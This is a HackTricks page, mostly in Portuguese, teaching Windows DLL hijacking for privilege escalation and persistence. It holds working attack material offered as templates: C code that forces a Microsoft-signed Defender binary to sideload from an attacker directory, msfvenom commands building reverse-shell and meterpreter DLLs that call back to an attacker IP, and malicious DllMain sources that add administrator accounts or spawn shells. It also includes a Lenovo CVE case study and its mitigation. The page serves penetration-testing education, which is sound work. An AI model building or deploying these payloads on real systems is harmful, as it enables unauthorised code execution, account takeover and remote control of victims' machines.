Dll Hijacking

Reading time: 15 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

DLL Hijacking envolve manipular uma aplicação confiável para carregar uma DLL maliciosa. Esse termo abrange várias táticas como DLL Spoofing, Injection, and Side-Loading. É usado principalmente para execução de código, obtenção de persistência e, menos frequentemente, escalonamento de privilégios. Apesar do foco em escalonamento aqui, o método de hijacking permanece consistente entre os objetivos.

Técnicas Comuns

Vários métodos são usados para DLL hijacking, cada um com sua eficácia dependendo da estratégia de carregamento de DLL da aplicação:

  1. DLL Replacement: Trocar uma DLL legítima por uma maliciosa, opcionalmente usando DLL Proxying para preservar a funcionalidade da DLL original.
  2. DLL Search Order Hijacking: Colocar a DLL maliciosa em um caminho de busca antes da legítima, explorando o padrão de busca da aplicação.
  3. Phantom DLL Hijacking: Criar uma DLL maliciosa que a aplicação carregará, acreditando ser uma DLL necessária inexistente.
  4. DLL Redirection: Modificar parâmetros de busca como %PATH% ou arquivos .exe.manifest / .exe.local para direcionar a aplicação para a DLL maliciosa.
  5. WinSxS DLL Replacement: Substituir a DLL legítima por uma maliciosa no diretório WinSxS, método frequentemente associado com DLL side-loading.
  6. Relative Path DLL Hijacking: Colocar a DLL maliciosa em um diretório controlado pelo usuário com a aplicação copiada, assemelhando-se a técnicas de Binary Proxy Execution.

Encontrando DLLs ausentes

A forma mais comum de encontrar DLLs ausentes dentro de um sistema é executar o procmon do sysinternals, definindo os 2 filtros abaixo:

e mostrar apenas a File System Activity:

Se você está procurando por DLLs ausentes em geral, deixe isso rodando por alguns segundos.
Se você está procurando por uma DLL ausente dentro de um executável específico, deve definir outro filtro como "Process Name" "contains" "<exec name>", executar e parar a captura de eventos.

Explorando DLLs ausentes

Para escalonar privilégios, a melhor chance que temos é conseguir escrever uma DLL que um processo privilegiado tentará carregar em algum local onde ela será procurada. Portanto, poderemos escrever uma DLL em uma pasta onde a DLL é buscada antes da pasta onde a DLL original está (caso estranho), ou seremos capazes de escrever em alguma pasta onde a DLL será procurada e a DLL original não existe em nenhuma pasta.

Ordem de Busca de DLL

Inside the Microsoft documentation you can find how the Dlls are loaded specifically.

Aplicações Windows procuram por DLLs seguindo um conjunto de caminhos de busca pré-definidos, obedecendo a uma sequência particular. O problema de DLL hijacking surge quando uma DLL maliciosa é colocada estrategicamente em um desses diretórios, garantindo que ela seja carregada antes da DLL legítima. Uma solução para evitar isso é garantir que a aplicação use caminhos absolutos ao referenciar as DLLs que necessita.

Você pode ver a DLL search order on 32-bit systems abaixo:

  1. The directory from which the application loaded.
  2. The system directory. Use the GetSystemDirectory function to get the path of this directory.(C:\Windows\System32)
  3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (C:\Windows\System)
  4. The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
  5. (C:\Windows)
  6. The current directory.
  7. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search path.

That is the default search order with SafeDllSearchMode enabled. When it's disabled the current directory escalates to second place. To disable this feature, create the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode registry value and set it to 0 (default is enabled).

If LoadLibraryEx function is called with LOAD_WITH_ALTERED_SEARCH_PATH the search begins in the directory of the executable module that LoadLibraryEx is loading.

Finally, note that a dll could be loaded indicating the absolute path instead just the name. In that case that dll is only going to be searched in that path (if the dll has any dependencies, they are going to be searched as just loaded by name).

There are other ways to alter the ways to alter the search order but I'm not going to explain them here.

Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath

An advanced way to deterministically influence the DLL search path of a newly created process is to set the DllPath field in RTL_USER_PROCESS_PARAMETERS when creating the process with ntdll’s native APIs. By supplying an attacker-controlled directory here, a target process that resolves an imported DLL by name (no absolute path and not using the safe loading flags) can be forced to load a malicious DLL from that directory.

Ideia chave

  • Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives).
  • Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE.

Notas/limitações

  • This affects the child process being created; it is different from SetDllDirectory, which affects the current process only.
  • The target must import or LoadLibrary a DLL by name (no absolute path and not using LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
  • KnownDLLs and hardcoded absolute paths cannot be hijacked. Forwarded exports and SxS may change precedence.

Minimal C example (ntdll, wide strings, simplified error handling):

c
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")

// Prototype (not in winternl.h in older SDKs)
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
PUNICODE_STRING ImagePathName,
PUNICODE_STRING DllPath,
PUNICODE_STRING CurrentDirectory,
PUNICODE_STRING CommandLine,
PVOID Environment,
PUNICODE_STRING WindowTitle,
PUNICODE_STRING DesktopInfo,
PUNICODE_STRING ShellInfo,
PUNICODE_STRING RuntimeData,
ULONG Flags
);

typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
PUNICODE_STRING NtImagePathName,
ULONG Attributes,
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
HANDLE ParentProcess,
BOOLEAN InheritHandles,
HANDLE DebugPort,
HANDLE ExceptionPort,
PRTL_USER_PROCESS_INFORMATION ProcessInformation
);

static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
DWORD n = GetModuleFileNameW(h, out, cch);
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
}

int wmain(void) {
// Target Microsoft-signed, DLL-hijackable binary (example)
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";

// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
wchar_t dllDir[MAX_PATH];
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);

UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
RtlInitUnicodeString(&uImage, image);
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
RtlInitUnicodeString(&uDllPath, dllDir);      // Attacker-controlled directory
RtlInitUnicodeString(&uCurDir, dllDir);

RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
RtlCreateUserProcess_t pRtlCreateUserProcess =
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");

RTL_USER_PROCESS_PARAMETERS *pp = NULL;
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
NULL, NULL, NULL, NULL, NULL, 0);
if (st < 0) return 1;

RTL_USER_PROCESS_INFORMATION pi = {0};
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
if (st < 0) return 1;

// Resume main thread etc. if created suspended (not shown here)
return 0;
}

Exemplo de uso operacional

  • Coloque um xmllite.dll malicioso (exportando as funções requeridas ou fazendo proxy para o real) no seu diretório DllPath.
  • Execute um binário assinado conhecido por procurar xmllite.dll pelo nome usando a técnica acima. O loader resolve a importação via o DllPath fornecido e sideloads sua DLL.

Esta técnica foi observada in-the-wild para conduzir cadeias de sideloading em múltiplas etapas: um launcher inicial solta um helper DLL, que então instancia um binário assinado pela Microsoft, hijackable, com um DllPath personalizado para forçar o carregamento do DLL do atacante a partir de um diretório de staging.

Exceções na ordem de busca de DLL na documentação do Windows

Algumas exceções à ordem padrão de busca de DLL estão anotadas na documentação do Windows:

  • Quando uma DLL que compartilha o mesmo nome de uma já carregada na memória é encontrada, o sistema contorna a busca usual. Em vez disso, realiza uma verificação de redirecionamento e um manifest antes de recorrer à DLL já em memória. Nesse cenário, o sistema não realiza a busca pela DLL.
  • Nos casos em que a DLL é reconhecida como uma known DLL para a versão atual do Windows, o sistema utilizará sua versão da known DLL, juntamente com quaisquer DLLs dependentes, ignorando o processo de busca. A chave de registro HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs contém a lista dessas known DLLs.
  • Se uma DLL tiver dependências, a busca por essas DLLs dependentes é realizada como se elas fossem indicadas apenas pelos seus module names, independentemente de a DLL inicial ter sido identificada por um caminho completo.

Escalada de Privilégios

Requisitos:

  • Identifique um processo que opere ou venha a operar sob privilégios diferentes (movimento horizontal ou lateral), que esteja sem uma DLL.
  • Garanta acesso de escrita em qualquer diretório onde a DLL será procurada. Esse local pode ser o diretório do executável ou um diretório dentro do system path.

Sim, os requisitos são complicados de encontrar, pois por padrão é meio estranho encontrar um executável privilegiado sem uma dll e é ainda mais estranho ter permissões de escrita em uma pasta do system path (você normalmente não pode). Mas, em ambientes mal configurados isso é possível.
Se por sorte você atender aos requisitos, pode checar o projeto UACME. Mesmo que o objetivo principal do projeto seja bypass UAC, você pode encontrar lá um PoC de um Dll hijaking para a versão do Windows que pode usar (provavelmente apenas trocando o caminho da pasta onde você tem permissões de escrita).

Note que você pode verificar suas permissões em uma pasta fazendo:

bash
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

E verifique as permissões de todas as pastas dentro do PATH:

bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Você também pode verificar os imports de um executável e os exports de uma dll com:

c
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

Para um guia completo sobre como abusar Dll Hijacking para escalar privilégios com permissões para gravar em uma System Path folder confira:

Writable Sys Path +Dll Hijacking Privesc

Automated tools

Winpeas verá se você tem permissões de escrita em qualquer pasta dentro do system PATH.
Outras ferramentas automatizadas interessantes para descobrir essa vulnerabilidade são as PowerSploit functions: Find-ProcessDLLHijack, Find-PathDLLHijack e Write-HijackDll.

Example

Caso você encontre um cenário explorável, uma das coisas mais importantes para explorá-lo com sucesso é criar uma dll que exporte pelo menos todas as funções que o executável irá importar dela. De qualquer forma, note que Dll Hijacking é útil para escalar de Medium Integrity level para High (bypassing UAC) ou de High Integrity para SYSTEM. Você pode encontrar um exemplo de como criar uma dll válida neste estudo sobre dll hijacking focado em dll hijacking para execução: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
Além disso, na próxima seção você pode encontrar alguns códigos dll básicos que podem ser úteis como templates ou para criar uma dll com funções não obrigatórias exportadas.

Creating and compiling Dlls

Dll Proxifying

Basicamente um Dll proxy é uma Dll capaz de executar seu código malicioso quando carregada, mas também de expôr e funcionar como esperado, encaminhando todas as chamadas para a biblioteca real.

Com a ferramenta DLLirant ou Spartacus você pode, na prática, indicar um executável e selecionar a biblioteca que deseja proxificar e gerar uma dll proxificada ou indicar a Dll e gerar uma dll proxificada.

Meterpreter

Get rev shell (x64):

bash
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Obter um meterpreter (x86):

bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Criar um usuário (x86 — não vi uma versão x64):

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

Seu próprio

Observe que, em vários casos, a Dll que você compila deve export several functions que serão carregadas pelo victim process. Se essas funções não existirem, o binary won't be able to load elas e o exploit will fail.

c
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
c
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
c
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
c
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}

Estudo de Caso: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe

Este caso demonstra Phantom DLL Hijacking no TrackPoint Quick Menu da Lenovo (TPQMAssistant.exe), rastreado como CVE-2025-1729.

Detalhes da Vulnerabilidade

  • Componente: TPQMAssistant.exe localizado em C:\ProgramData\Lenovo\TPQM\Assistant\.
  • Tarefa Agendada: Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask é executada diariamente às 09:30 no contexto do usuário conectado.
  • Permissões do Diretório: Gravável por CREATOR OWNER, permitindo que usuários locais depositem arquivos arbitrários.
  • Comportamento de Busca de DLL: Tenta carregar hostfxr.dll do seu diretório de trabalho primeiro e registra "NAME NOT FOUND" se ausente, indicando precedência da busca no diretório local.

Implementação do Exploit

Um atacante pode colocar um stub malicioso hostfxr.dll no mesmo diretório, explorando a DLL ausente para obter code execution no contexto do usuário:

c
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload: display a message box (proof-of-concept)
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
}
return TRUE;
}

Fluxo do Ataque

  1. Como usuário padrão, coloque hostfxr.dll em C:\ProgramData\Lenovo\TPQM\Assistant\.
  2. Aguarde a tarefa agendada executar às 9:30 AM no contexto do usuário atual.
  3. Se um administrador estiver logado quando a tarefa for executada, a DLL maliciosa será executada na sessão do administrador com integridade média.
  4. Encadeie técnicas padrão de bypass do UAC para elevar de integridade média para privilégios SYSTEM.

Mitigação

Lenovo lançou a versão UWP 1.12.54.0 via Microsoft Store, que instala TPQMAssistant em C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\, remove a tarefa agendada vulnerável e desinstala os componentes Win32 legados.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks